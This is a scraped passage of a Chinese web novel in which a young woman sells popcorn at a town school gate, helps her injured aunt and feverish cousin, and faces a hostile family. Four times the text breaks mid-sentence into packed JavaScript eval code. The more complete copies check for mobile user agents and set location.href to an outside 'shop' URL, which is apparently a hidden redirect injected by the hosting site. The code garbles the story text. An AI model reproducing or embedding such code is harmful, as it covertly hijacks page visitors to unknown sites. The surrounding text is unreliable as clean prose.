几个大婶儿和她说明天早上在镇中门口等她,便各自回家了。 苏棠数着钱,不到三个小时就挣了四十四块二毛钱,加上卖烤牛蛙挣的十块钱,除去买糖的一块钱和买牛皮袋的三毛钱,身上还有五十二块九毛钱。 钱是人的底,身上有钱心里不慌。她提起竹篮,牵起林星星,笑得见牙不见眼:“星星渴了没?姐姐带你买水喝。” 林星星还没缓过来,刚刚姐姐脸上还挂着泪,怎么现在不仅没有眼泪了,还笑得这么开心?不过没关系,姐姐开心她就开心。 中午时分,林苏棠带着林星星买完水,在街边小馆吃东西,两人要了一碗肉丝面和两个酥油饼,这年代的面都是自家纯手工制作,面碗分量足,面汤也鲜。林苏棠问老板要了两个小碗,用筷子给林星星夹了一小碗带汤的面条。 林星星把面汤都喝完了,苏棠又给她夹了一小碗面条,小家伙又把一个酥油饼吃完了,林苏棠问她还吃不吃,她摇着小脑袋,摸了摸饱呼呼的肚子:“星星吃太多了,吃不下了。” 小萌娃两手放在肚子上的样子实在太可爱了。林苏棠帮她擦干净嘴,宠溺地说:“既然吃饱了,那星星就歇一会儿吧。” 小孩子吃东西细,林苏棠胃口也不是很大,这点东西吃完后两人肚子都圆鼓鼓的。 吃完饭,差不多三点了,林良娣到五点半才下班,苏棠和林星星在面馆里坐了一会儿,等下午太阳渐渐小了,林苏棠带她在街上瞎逛,本来想买两件像样的衣服,但小镇上的服装店样式太老土,挑来挑去都没见到合适的。到时候看到了一条浅粉色的小小碎花裙,很符合现代的审美,一问才两块五,便给小萌娃买了一件。然后两人慢慢往镇中学校走。 眼看着快六点了,林良娣还没出来,林苏棠向门卫一打听,才知道林良娣切菜时不小心切到了手指头,好像挺严重的,被同事送到了镇医院缝针。 林苏棠又带着林星星急匆匆赶往镇医院,去的时候林良娣受伤的手已经缝好针,包扎上了厚厚一层纱布。 出院门的时候林良娣看到了林苏棠以及旁边的女儿林星星,有些吃惊。 “小棠,你们俩怎么来了。” 苏棠关切地走上前,眼里满是心疼:“四姑,你没事吧?我们今天带星星上街来玩,等你下班一起回去,听校门口门卫说你手受伤了在医院,我们就急忙赶过来了。” 林星星被吓哭了,上前抱住林良娣的大腿,嘴里喊着妈妈。 林良娣露出苍白的笑容:“你们今天来街上玩了呀。唉,我不小心切到了手,医生说没什么大碍,打了破伤风,缝了针,过几天肉就长好了”这一下医药费花了她一个月工资,怪她自己不小心,学校不可能报销。手上的钱捉襟见肘,她现在心里现在有些乱。 林苏棠主动接过她的布挎包挎在身上:“这两天你就请假在家休息吧,先把手上的伤养好。” 林良娣点点头,也只好这样了。她伤的是左手食指,虽然不碍多大事,但刚缝完针,手一牵动就传来撕裂般的痛,也使不上劲儿。 出了医院,苏棠带林良娣去了中午吃的同一家面馆。 “四姑,你手不方便,咱们晚上就在这吃点东西,你回家也不用做饭了,这段时间你就在家好好休息。” 林良娣拉着苏棠就要往外走,不好意思看一大一小两个孩子,脸上满是愧疚之色:“这里吃多贵啊,回家我给你们做。等下个月我发工资带你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三人吃完从面馆出来,天已经全黑了,要走回去得一个小时。村路上也有拉牛车专门接客的,一人一趟一毛钱,苏棠掏出三毛钱给车夫。 夜晚村路漆黑一片,牛车前面挂着一盏风灯照亮慢慢前路,摇摇晃晃载着三个人往林家去,林良娣满脸愧疚之色:“小棠,今天让你破费了这么多,回去我还你。” “四姑,你说这话我就不爱听了,我这些天都吃你的用你的从没跟你客气,你还跟我客气什么,太把我当外人了。” 苏棠对人好都是出于自愿,你对我好我就加倍对你好,林良娣总这么客气让她有点不自在。 林良娣讪讪的笑了笑,眼里泛起了泪花:“好好好,四姑知道你是个有心的好孩子,再也不说了。” 牛车在林家大门口停下,三人下了车。林家晚上院门关的早,还未走进门,听到门里传来的抱怨之声。 “四姑怎么还不回来做饭,不会是今天想偷懒吧?” 说话的人是林彩虹,听到门外传来敲门声,忙去开门。见到人回来了,立刻换了副口吻:“谢天谢地,四姑你终于回来了,我们有饭吃了。一晚上没吃饭,饿死我了。” 这时,林老太也冒了出来,上前就是一阵数落:“良娣啊,你怎么才回来,咱们可都还饿着肚子等你回来做饭呢,你是诚心要饿死我们吗?。” 15. 15 在林老太看来,女儿以后都是要嫁到别人家去的,趁着在家的时候,得让女儿多干点活,干一天少一天,不干一天亏一天。儿子就不一样了,她住在儿子家里,还指望着儿子养老呢,稳赚不赔。 林良娣付完医药费后,只顾着心疼钱去了,倒忘了还要给家里做饭这茬,而且她手受伤了接下来几天估计不方便做饭,正不知如何解释是好。 林苏棠看不下去了,她指着林良娣的手,高声说:“四姑切断了手指,流了一地的血,才在医院缝针回来,她做不了饭,以后大家都自己做饭自己吃。” 她故意说得很严重,空气静了几秒。 林老太注意到林良娣左手手指的纱布,语气这才缓和点。 “良娣你手这是咋了?” 林良娣回答:“我白天在食堂切土豆丝的时候不小心切到了。” 林老太哼了一声:“你咋这么不小心,你就算不为自己考虑,也要为我们大家考虑啊,这一大家子全指着你做饭呢。” “妈,我也是不小心......” 林良娣咬住嘴唇,心里有种说不出来的感觉,眼前的人是自己的母亲,自己受伤了她没半点关心,她只关注一大家子有没有人做饭他们吃。 一大家子没有人心疼林良娣,但林苏棠是真的心疼这个四姑。她拉着林良娣进屋了,丢下一句:“你们自己都有手有脚,又不是残废,想吃就自己做!” 林彩虹不乐意了,双手叉腰发狠道:“林苏棠,你别插嘴,有你什么事?” 林老大和媳妇一直在窗户边看动静,听到这话“啪”地一声把窗户合上了。 林老太见状在后面叫嚷:“良娣啊,那你今天就休息一晚上,伤养好了明天再做饭。我瞧你也没什么大碍,干活都是用右手哩,你伤得是左手......” 林良娣回来的时候都已经八点了,林老太估摸着肯定是有什么事,还以为林良娣要撂挑子不干了。但想不到真正原因是自己女儿切到了手,她提前准备好的那些训斥的话自然派不上用场。 不过林老太可舍不得让自己的宝贝金孙和大学生孙女饿肚子,她早偷偷给他们开了小灶,蒸好了腊肉饭还一人煮了一个鸡蛋,把他们喂得饱饱的。 晚上洗完澡,林苏棠闲来无事,就挑了七八个晒干的饱满的玉米棒子,剥好玉米粒为明早制作爆米花做准备。 林良娣闲不住,用另一只好手拿起个玉米棒子也慢慢帮地褪下玉米粒。 林星星小朋友白天累了一天,洗完澡沾床就睡着了。 静悄悄的房间里,姑侄俩说着话。 苏棠说:“四姑,你明天就在家休息,别给他们做饭。”但话一说完,又觉得不现实。让林良娣在家里,林家人一支使她,她肯定不会拒绝。 于是又换了个说法:“四姑,要不你明天帮着我一起做爆米花拿去卖吧,正好我一个人忙不过来。” 林良娣犹豫片刻,看着自己包着纱布的手,答应了。 “四姑能帮到你那就再好不过了。” 苏棠想起来今天买的小碎花裙,乐呵呵从袋子里翻出来给林良娣看:“四姑你看,这是今天带星星在镇上买的,星星穿上特别可爱,等天气再热点就能穿了。” “星星有你这个姐姐是她的福气,她几个姐姐里,就你最舍得为她花钱。” 林丽霞和林彩虹都有弟弟,她们要疼也是紧着自己亲弟弟疼,对小表妹林星星能好到哪儿去。林良娣盯着哪件小碎花裙出神,要是她能多挣点钱,侄女也不至于一个人在外抛头露面地卖东西了,都怪自己没本事。 第二天一大早四点多,姑侄俩就起来做爆米花,因为晚上准备工作提前做好了,加上林苏棠今天手法更熟练了,又有林良娣这个帮手在一旁烧火,所以不到半小时就完成了两大竹篮爆米花。而且这两个竹篮比昨天还要大,今天的爆米花比昨天的还要金黄诱人。 苏棠和林招娣忙完爆米花,又赶紧弄醒了林星星,打算今天还把她一起带到镇上去。小奶团子迷迷糊糊地还没睡醒,林苏棠帮她穿好衣服和鞋子。 “姐姐,我们要去哪里呀。” “我们要去镇上买好吃的。” 下床后林星星稍微清醒了点,非常乖地主动去刷牙洗脸。 五点多,天蒙蒙亮,三个人踏上了乡村小路上,路过供销社门口,发现门已经开了,苏棠顺便进去买了三百五十个牛皮纸。 供销社老板见她手上提了两个提篮,好奇地问了句:“大妹子,你昨天东西卖完了?” 苏棠点头:“那当然。”说着出了门,不给他多问的机会,她可没义务满足人家的好奇心。 村里人起得早,也有早起去县里去镇上的,好几辆牛车在村口拉人,苏棠叫了一辆牛车,三个人坐了上去。 四条腿比两条腿快得多,六点钟便到了校门口。 校门口已经有零星几个摊位摆在那儿,苏棠挑了个靠近校门口的地方将竹篮放下。她包了一包爆米花让林良娣送给门卫吃。 学校门口的摊位可不是谁都能来的,得提前和学校领导还有门卫打好招呼。虽然只借用一早上,但人情得做到位,再说了林良娣还在学校食堂上班呢。她可不能给四姑丢脸。 不一会儿就有路过的男学生问:“这是不是爆米花?” 苏棠一面装爆米花,一面掀起鸦黑的眼睫看向男学生道:“对,这就是爆米花。昨天你是不是买过呀?” 那男学生头一次看到这么好看的姐姐,尚显稚气的脸不由红了,支支吾吾道:“昨天我妈给我买了一包。” “今天还买嘛,同学。”苏棠甜甜一笑。 “买,买。”男同学脸红的像颗熟透的苹果。 “五毛一袋,八毛两袋。”苏棠说。 男生从兜里掏出家里给的五毛早餐钱递给苏棠,苏棠接过钱顺手把爆米花给他。 “欢迎......” 苏棠话还没说完,男生拎起爆米花的袋子拔腿就跑。 “......下次再来” 苏棠看着那尘土飞扬的背影,不由得感叹了句:“现在的初中生学习的紧迫感真强!”要知道她初中那会儿每天都是踩点到班。 她喜滋滋将皱巴巴的五毛钱摊平,放进口袋。 镇上离得近的孩子早上都是走读去学校,六点要半到校。镇上的人普遍比村里有钱,孩子上初中了家里也会给个五分一毛两毛的零花,当然也有条件好的能给孩子更多。林苏棠就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有钱的就买一袋,钱少的就两个人凑八毛钱各得一袋,实在拮据的便五个同学八个同学凑一起买一袋两袋。时间紧急,学生们买东西好说话,给钱不墨迹。 苏棠忙着包装爆米花,林良娣一个劲儿收钱险些忙不过来,对自己受伤的另一只手感到着恼。 不到十分钟,一提篮爆米花便被一抢而空。 林苏棠麻利地揭开另一只提篮的盖布,有几个大婶终于挤到了前面。 这几个大嫂昨天在集市上没买到爆米花,回去之后,看到家里的孩子眼馋邻居孩子的爆米花,一直吵着要买。 昨天听说苏棠会来镇中校门口摆摊,她们邀了街坊邻居几个,一大早就赶过来了。虽然没白来,一来便看到苏棠在这里。可架不住学生多,几个老胳膊老腿很快就被挤了出来。 这会儿终于挤到了前面来,便有种不服老的神气。 “大妹子,我们昨天在集市上就想买了没买到,先给我们每人包两包。” 苏棠见是昨天集市上的熟悉面孔,乐呵呵地招呼,手脚麻利地给几个婶子打包好。 五个婶子一共买了十包,她们本来只打算买一包,可好不容易挤进来,索性就多买了一包。 预备铃打响,苏棠的两大篮子爆米花已经买光了,三百五十个牛皮纸还剩二十个。 五毛一袋爆米花虽然不便宜,但她卖的是一个新奇,整个镇上只有她一家卖这东西。 林良娣的口袋里鼓囊囊塞满了钱,最后塞不下只好用卖空的提篮装。 “四姑,来看看我们早上挣了多少钱。”林苏棠把林良娣拉到角落旁里数钱。 姑侄俩一人数一半,最后你看看我,我看看你,加起来一共挣了一百四十五块钱。 16. 16 林良娣看着这么多钱觉得有点不真实。 侄女这一早上比她挣一年的钱还多。 挣钱咋有这么容易? 苏棠把零头塞到林良娣的口袋里,林良娣拿出沉甸甸地一摞,执意不肯要。 侄女为了挣这钱吆喝了一早上,嗓子都喊哑了,她就在旁边收个钱,咋好意思要这么多。 苏棠推开不要:“四姑,我这都是借你的油和玉米,早上还多亏了你帮我烧火,我总不能白让你跟着我干。这些都是一毛钱,加起来没多少。” 林良娣还在犹豫。油和玉米的钱加起来也要不了这么多,而且侄女用她点东西都是应该的。 林苏棠捂着肚子撒娇地道:“四姑,我都饿了,快带我和星星去过早,你来付钱。” 林良娣拗不过,僵硬地把钱收下了,带着二人到街边摊子好好饱餐了一顿。 摸着兜里的钱,林良娣还是觉得不真实。 趁着人们的新鲜劲儿还在,苏棠认为很有必要乘胜追击,这会儿孩子还没放学,镇上一定还有很多想买爆米花哄孩子的家长。这样一来,她既挣了孩子的钱,又挣了家长钱,一挣挣双份。 苏棠又在集市上挑了五斤颗粒饱满,干燥适度的玉米棒子。去商店包了一斤白糖,顺便买了五只透明的大塑料袋,这一个塑料袋的容量足足能装五提篮爆米花。 买完了东西,苏棠带着林良娣和林星星坐上牛车回了林家。她一脸兴奋,盘算着今天还能挣多少钱。林良娣总觉得有点悬,早上能卖一百多块完全是走了大运。但看侄女这么开心,她也不好意思打击她的积极性,连声附和说回去赶紧多做点爆米花。 苏棠又逗了一会儿林星星,但小萌娃从早上起床就一直蔫蔫的不怎么爱说话,可能是早上起太早的缘故,苏棠觉得怪不好意思的,心里暗暗发誓等这两天挣到了钱一定要好好补偿小可爱。 苏棠是临时改的主意,她想到今天是周五,初中生下午五点半放学,人流量一定很大,所以今天是做生意的绝佳时机。本来挣了钱打算给林良娣买两身新衣服,有时间的话再去县城逛一逛,所以一大早才把林星星叫醒带上了。 七点半到家,苏棠火急火燎和林良娣一起把玉米弄干净,剥成一粒一粒放篮子里备用。林星星一个人回房继续补觉了,小朋友从没起这么早,实在太困了,沾床就趴在那儿不动了。 这个点林家人已经吃完早饭下地去了,农忙时节还没过,家里能出力气的都到地里干农活儿。 林丽霞昨天回了学校,她高考在即,高三暑假只放二十天,其余时间都要留校补课。林老太在家带两个小孙子,林家人下地干活了她才慢悠悠起床。这会子见灶房正冒着炊烟,以为林良娣起来做饭了。她洗漱完回房喊两个小金孙起床,耐心帮他们穿好衣服,伺候他们洗漱。等这些都弄完的时候,她拄着拐杖站在灶房前,尖声道:“良娣,等下饭做好了你端两碗到我房里来。” 灶房里没人应,不过林老太浑不在意,以往她喊一嗓子林良娣等下就会把做好的饭端给她。林老太继续带着俩小孙子在床上睡回笼觉,等着女儿叫她吃饭,这一睡就睡到九点半,饿醒了,竟没人喊她吃饭! 弄完两大袋爆米花已经九点多了,等它们放凉装进袋子又等了二十多分钟。姑侄俩忙活一早上,准备现在出发去镇上。 这两大袋爆米花卖完怎么着也要一天功夫,把林星星放家里林老太也不尽心照顾,林苏棠去房里喊林星星起床,发现地上一大滩呕吐物,林星星躺在床上痛苦地拧着眉,一张小脸红扑扑的。 苏棠喊了一声:“星星?” 床上的小人儿发出痛苦的哼哼。 她吓了一大跳,赶紧喊来林良娣。 林良娣摸了摸林星星的前额,触手滚烫烫的,作为一个母亲,她倒比林苏棠镇定的多。 “星星发烧了,我得带她去村卫生院打退烧针。” 苏棠说:“那我和你一起去。” 发烧林良娣想到侄女早上在牛车上的哪个兴奋劲儿,摇了摇头说:“你还要卖爆米花,我一个人带她去就行。” 农村小孩儿都养的糙,发烧了去卫生院打一针,第二天就又活蹦乱跳了。发烧不是什么大事,她一个人能搞定。 苏棠还是有点不放心:“那怎么行,还是我陪你一起去吧。” 林良娣说:“这孩子以前也总发烧,去打一针退烧针就好了,我一个人能行。” 听她这么一说,苏棠放下心来。小孩子有个发烧头疼脑热的都很正常,苏棠小时候也没少生病打过点滴。 苏棠拎着两大袋爆米花和林良娣一起出门,林良娣抱着林星星,怕她拎不动,建议道:“你要不今天先拿一袋儿过去?我看这东西不轻,等明天咱俩一起出去再多拿点。” 她拎不动? 苏棠一只手拎一袋,举起来在林良娣面前秀肌肉。 “四姑,我力气可大了。”原身常年干活,力气自然不小。 这个举动把林良娣逗笑了。 她们前脚出门,林老太和两个小金孙饿得前胸贴后背,走进灶房一看,哪里还有人影。只闻到一股子甜腻的香气。她又去林良娣房间,也没发现人。 林老太拉下一张老脸,把拐杖在地上敲得咚咚响。 “好啊,自己吃完了就跑了,老太我活大半辈子没见过谁家闺女这么自私!” 村边路口,林苏棠掏钱叫了辆牛车把林良娣母女送到村卫生室。转头自己进了供销社,又要了一千个牛皮纸。 一千个? 供销社老板的下巴都被惊掉了,要这么多? 供销社的牛皮纸进价其实很便宜,卖给林苏棠他能赚不少差价。他把店里的所有牛皮纸拿出来数一数,发现只有六百个。 “我都买了。”剩余的牛皮纸去镇上商店买买看。 林苏棠大手一挥,把钱掏给他。 供销社老板收下钱,有些咋舌。 “你这东西真有这么好卖?”他刚刚可是看见林苏棠拎着两大袋子爆米花从村口过来。 林苏棠没正面回答他,把兜里的纸币全摸出来放在柜台上,数了数后拿出来几张,说: “老板,麻烦帮我把这些零钱换成一百三十整的。” 供销社老板又数了一遍,把一百三十块交到林苏棠手里。还准备问什么,林苏棠打断他:“谢了老板,我还要赶时间先走了。” 她风风火火拎着两大袋爆米花,坐上了牛车。 来来回回几次,拉牛车的车夫都认识她了,笑呵呵向她打招呼。 “大闺女,又来坐车啦?” “是啊,大叔,我这次去隔壁大河镇。” 苏棠给钱爽快不还价,上车就走,车夫们就喜欢这样的顾客。要知道很多村民觉得时间不值钱,宁愿早起画一个钟头走到镇上,也不愿花这冤枉钱。除非个别的特别着急,实在没办法了才会坐车。车夫们每天蹲在村口挣得就是这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120954|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的钱。 苏棠来到大河镇,找了个十字路口人流量大的摊位。因为来晚了,街边大部分摊子都撤了,她去商店花钱买了四百个牛皮纸,顺便要了一块木纸板,借来一支笔。在上面用大而方正的楷书写上: 省城爆米花,电影院特供! 清仓便宜卖,最后两天! 五毛一袋,八毛两袋! 有了“广告牌”她也能省点嗓子。 这次她来的是隔壁镇上,这个镇上的村民同样没有见过爆米花,纷纷被吸引过来围观,她又使出昨天的卖货手段,到下午一点半钟堪堪卖完大半袋子爆米花。 一整个上午,她忙得脚不沾地,滴水未进,肚子饿的咕咕叫。找了个小馆子要了一碗馄饨和甜豆腐脑,吃饱喝足修整片刻后找了另一条街继续蹲点。大河镇比她所在的西河镇小,她也是突发奇想来试试水,没想到镇民们的购买力大大超出了她的预期。 吃完东西后,下午继续去街上卖爆米花。 不过下午的东西没那么好卖了,整个镇子上人就那么多,街上人流量有限,越到后面顾客开始骤减,生意呈现出疲软状态。 虽然在同一条街蹲点,下午多少也能卖出去点,但苏棠不是个坐以待毙的人,她要的是大销量,速战速决,在最少的时间做到收益最大化。至于剩下的时间嘛,当然是回家躺着休息。 苏棠决定回到老根据地西河镇,从临近的镇子坐牛车过去要花差不多一小时,到达最热闹的一条街时已接近三点钟。 有几个昨天的熟客认出了她,每人买了两包爆米花支持她的生意。苏棠煞有介事地连声道谢。 后面陆陆续续来了许多顾客,她总共卖出了小半袋子爆米花,今天远远没有昨天那么好卖。 不过她不着急,等下午五点半学生放学那段时间的流量才是最大的。 苏棠和其他小贩一样,提前半个点就来镇中学校门口蹲守学生们放学。 早上不少学生都买到了苏棠的爆米花,省城来的爆米花在学生们眼里可是稀罕货,知名度一下就在学生之间传开了。这导致一些没吃过的同学也想尝一尝新鲜。 由于是周五,学校门口不止有小商贩,还有大批接孩子放学的家长。 放学铃一响,校门打开,苏棠便扯开嗓门大喊:“省城爆米花!省城爆米花!省城爆米花!”三百六十度洗脑大循环。 这群初中生们像出了笼的神兽,轰隆隆冲出校门。 不少学生本来都要被家长牵着走了,听到“省城爆米花”几个字眼睛一亮,赶紧把家长往回拉。 家长知道,孩子往回肯定不是因为舍不得学校,而是又要自己掏钱了。一些溺爱孩子的家长当然不会舍不得让孩子馋别人东西吃。 当然也有一些家长态度比较强硬,不愿给孩子买零嘴。 校门口,陈杏陈苗两姐妹坐在父亲陈有才拖的板车后面,眼睛盯着校门口的小商贩,馋的不行。白天同学们在学校吃什么省城爆米花,她们俩只有看的份儿。好不容易问同学要了一粒,还不小心滚到地上去了没吃到。 不知怎么的,学校里开始流行起省城爆米花了,好像吃了这玩意儿,互相之间便有了可以讨论的共同话题。这个年纪的孩子对新出的事物都保持着好奇和关注,尤其是对别人有的而自己没有的东西,容易产生出攀比心理。 这时听到卖省城爆米花的声音,她们俩异口同声对陈有才说:“爹,我想买爆米花吃。” 17. 17 陈有才一声不吭,拖着板车继续前行。 陈杏陈苗又重复了一遍,声音更大了。 陈有才终于开口了:“女娃家家,嘴咋这么馋,别人吃什么你都要啊?不好好读书,就知道吃。” 说完他叹了一口气,不是他舍不得买,要是他身上有钱,给两个闺女买点吃的那又咋了,可是他没钱啊。几个孩子明年的学费都还没着落呢。但是当爹的也要面子不是,哪能在孩子面前说自己的窘迫。 陈杏陈苗你看看我我看看你,纷纷低下头去。陈有才虽然看起来身板瘦瘦小小,说话却自带一股中气十足的洪亮音调,引来了周围不少同学的注视。有几个还是双胞胎姐妹的同班同学,其中有两个女生热情地喊她们的名字。 “陈杏,陈苗!你们回家啊?” 陈杏陈苗装作没看到,把头埋得更低了。如果这里有地缝的话,她们真想一头钻进去。 “省城爆米花,好吃的省城爆米花,卖省城爆米花喽......” 木板车嘎吱嘎吱驶过校门口,小贩吆喝的声音传进双胞胎姐妹的耳朵,陈苗耳朵尖越听越觉得这声音熟悉。 今早学校有几个手里拿着爆米花的高年级男生走在一起,小声地讨论说校门口卖爆米花的大姐姐长得很漂亮,背地里给她取外号叫爆米花西施。被结伴上厕所的陈杏陈苗听到了还偷偷低笑,一个卖爆米花的能有多漂亮。学校门口摆摊的叔叔阿姨哪个不是五大三粗皮肤晒得黝黑。 早晨听到的议论,和这会儿听到的熟悉叫卖声音交织在一起,勾起了陈苗强烈的好奇心,她在陈杏旁边耳语了几句,拉着她一起跳下了陈有才的板车。 陈有才拖着板车丝毫没察觉到异样,满脑子想得是孩子们下学期的学费还没着落。 学生们将卖爆米花的林苏棠围得里三层外三层,相当一部分是来卖爆米花的,当然也有一小部分胆大的男生是来观看爆米花西施到底有多漂亮。陈杏陈苗个头小,使劲儿往里面钻,好几次都被挤了出来,她们把平时的力气全用在了这时候。 等她们挤进来时,林苏棠的一大袋爆米花只剩下浅浅一层。 见到林苏棠的脸,两姐妹都吃了一惊,先前只是怀疑,但亲眼所见和怀疑的感觉还是不一样的。 她俩齐齐喊了一声:“大嫂。”好像要让所有围观的人都知道她们和林苏棠的关系似的。 旁边学生都向她们投去一个怪异的眼神。 陈杏陈苗厚着脸皮说:“看什么看,这是我大嫂。” 林苏棠收完钱正忙着打包爆米花,哪有功夫理她们俩。而且这是初中校门口,碰到这两个白眼狼也不稀奇。 不被理睬,陈杏陈苗急了:“大嫂,我们也要爆米花。” 苏棠看也不看她们,说:“五毛一袋,八毛两袋。” “你跟我们还要钱?我要告诉妈去。”说到最后她们自己也没底气了。上回钱桂香去林家要人,被林老太拿扫帚追着打,到现在村里还传这件事呢。她们觉得丢脸死了。同时也意识到一个问题,她们的妈 苏棠往牛皮纸里倒爆米花,淡淡的笑了笑,用眼神指向双胞胎姐妹:“不好意思啊,请问这两位女同学也和大家一起的吗?她们在说什么呀,我有点听不懂。” 围观的所有学生目光齐刷刷看向瘦小的两姐妹,纷纷摇头。 陈杏陈苗简直都囧死了,这个女人怎么可以和她们撇清关系。 旁边的高个子男同学眼见爆米花袋子要卖空了,再包两袋就没了,他正好要两袋,另一包送给幼儿园的妹妹。他钱都给了,可不想被人插队。 “你们两个想吃霸王餐吗?哪个班的,我们要告诉你们班主任去。” 陈杏陈苗姐妹不敢惹高年级男生,默着不说话。转眼间塑料袋空了,气得牙痒痒。明明这么多爆米花,给她们一点怎么了?会死吗? 看来妈说的没错,林苏棠就是个白眼狼。 没要到爆米花,陈杏陈苗不服气地走了。不过这会儿天还早着呢,她们不急着回家。自从大嫂离家之后,家里的各种活都派到她们头上了,一个没干好就要挨钱桂香的打和骂,搞得她们俩现在对放假回家这事都犯怵了。她们要到镇上同学家玩去。 女同学何园园在班里人缘很好,听说她的姑父和姨父都是县城人,每次回镇上探亲都会给她带点县城的新鲜玩意儿,何园园则会把这些东西带到学校给同学们饱饱眼福。班上同学都以能跟何园园玩为荣耀,陈杏陈苗两姐妹就是何园园的小跟班之二。 她们走到何园园家的院子里时,已经有不少其他小跟班先到了,大家正在分着一小袋爆米花吃。 陈杏陈苗看到爆米花,眼睛都亮了,为了更好的融入进小团体,陈苗先开口了。 “你们知道校门口卖爆米花的女人是谁吗?” “是谁呀?是谁呀?” 小团体里的学生们齐齐看向她们,七嘴八舌围过来八卦。 陈杏接嘴道:“这你们都不知道?她是我大哥的媳妇,林苏棠。” 同学们问:“那你们大哥呢?” “她们大哥死了。”一个同学接话道。 小团体里有些学生的家长昨天在镇上亲口听过林苏棠的“悲惨遭遇”,邻里之间闲话偶尔谈论过,被孩子听到了耳朵里。 陈苗说:“我大哥死了,但她还是我大嫂。”不管怎么样她们吃的爆米花都是大嫂卖的。 陈杏骄傲地补充了了一句:“她从小就被卖到我们家,给我们家干活。” 小团体的焦点何园园一直在听大家的谈话,这时开口道:“你们家是地主吗?” 何园园说话的时候这群学生都很自觉地闭上了嘴。 陈杏看了一眼陈苗,陈苗急忙辩解:“不是,我们家是农民!”她们虽不是生在哪个特殊的年代,但也从村里的老人口中听到过类似的话题,总之在她们的认知里,地主可不是个好词。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144651|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园园用手一拍巴掌,质问道:“你们家是农民怎么还买人?” 陈苗解释道:“不是买人,是到我家来做媳妇。” 何园园朗声道:“那就是童养媳!万恶的封建主义!我们要解救被封建余孽压迫的可怜妇女!” 那些在家听到家长议论爆米花小贩的几个同学本来没当回事,现在发现受害女性居然离自己这么近,那就更不能袖手旁观了。 “同学们,咱们一起买林同志的爆米花,让她早日脱离苦海!” 陈杏陈苗:不是?我不是这个意思啊喂! 中学生课业不繁重,本来就闲得发慌,一听到有事做便纷纷义愤填膺地附和起来。 一大群学生沿着大街小巷奔走相告,包了三辆牛车浩浩荡荡押着两个“封建余孽”陈杏陈苗快马加鞭去东河头村林家,包车的钱大家平摊。这阵势可忙坏了拉牛车的车夫。 在林家没看到林苏棠人,学生们便拿着印有“西河头村供销社”字样的牛皮袋一路找到供销社老板询问情况。 老板朱红顺看到乌泱泱一群学生,两只小眼睛放光,感觉看到了商机。 供销社老板也去了林家一趟,也没找到人。 供销社老板附和学生们道:“我也很同情苏棠同志的遭遇,以后我让她把爆米花放我供销社卖,我不收她的摊位费,我做好事免费帮她卖。” 学生们听得血脉喷张,异口同声道:“老板你真是个好人!” 供销社老板乐呵呵地憨笑,无奸不商,他可不是什么好人。 “同学们,你们是不是想买爆米花?”供销社老板问。 学生们答:“想!” 供销社老板说:“那好,你们每人拿出一毛钱押金,这就是你们买爆米花的定金。你们先在我这里登个记,写上名字,明天你们来我店里买爆米花直接抵扣一毛钱定金。” 来的大部分学生身上一毛钱还是有的,少部分没有一毛钱的也答应明天问家长要, 陈杏陈苗便是被逼着明天找家长要钱的少部分人。她们苗急了,没想到自己一不留神说错话反而帮林苏棠卖更多,她们才不想照顾林苏棠的爆米花生意! 到了傍晚,苏棠卖完所有的爆米花,在镇上吃了晚饭,还打包了两碗肉丝面回家。又在街边买了点橘子苹果准备带回去给林星星吃。这年头物资匮乏,镇上水果种类很少,而且卖的贵,有些小孩儿也不怎么爱吃水果,一般人家舍不得买,有这钱不如买两斤肉吃。 林良娣上午带着林星星上村卫生室,老医生像以往一样给发烧的孩子打了一针退烧针。 这一针下去,林星星发烧不仅没退,反而吐得更厉害了,最后都吐出了黄水,小小的孩子软成一滩连哭都不会哭了。 村医吓得脸变了色,让林良娣赶紧带孩子去镇医院。 林良娣身上没装多少钱,赶紧带着林星星回家,拿出压在箱底里苏棠上午塞给自己的钱,数一数有四十五块。 18. 18 林老太见闺女火急火燎抱着孩子回来,也不打声招呼,立马拿早上的事情说嘴,劈天盖地把她一顿骂。 “你还知道回来,你现在还有点当姑的样子吗?早上饭也不做,光顾着自己吃,你真是好自私啊你......” 林良娣把一卷数额不一的纸钞放进衣袋里,打断了林老太的话,带着哭音说:“妈,星星发烧了,我现在要带她去镇医院。回来再和你说。” 林老太盯着趴在林良娣怀里的小外孙女,气得鼻子不是鼻子眼睛不是眼睛。 “一个小丫头片子养得这么金贵,小孩子发个烧就把你急成这样。过两天不就自己好了么。你们几兄妹小时候都是这样过来的,还不是活蹦乱跳的大了......诶诶诶?你去医院就去,带那么多钱干嘛?”她刚刚可是看见闺女好大一摞钱放进裤兜里了,这么多钱也不知道交给她保管! 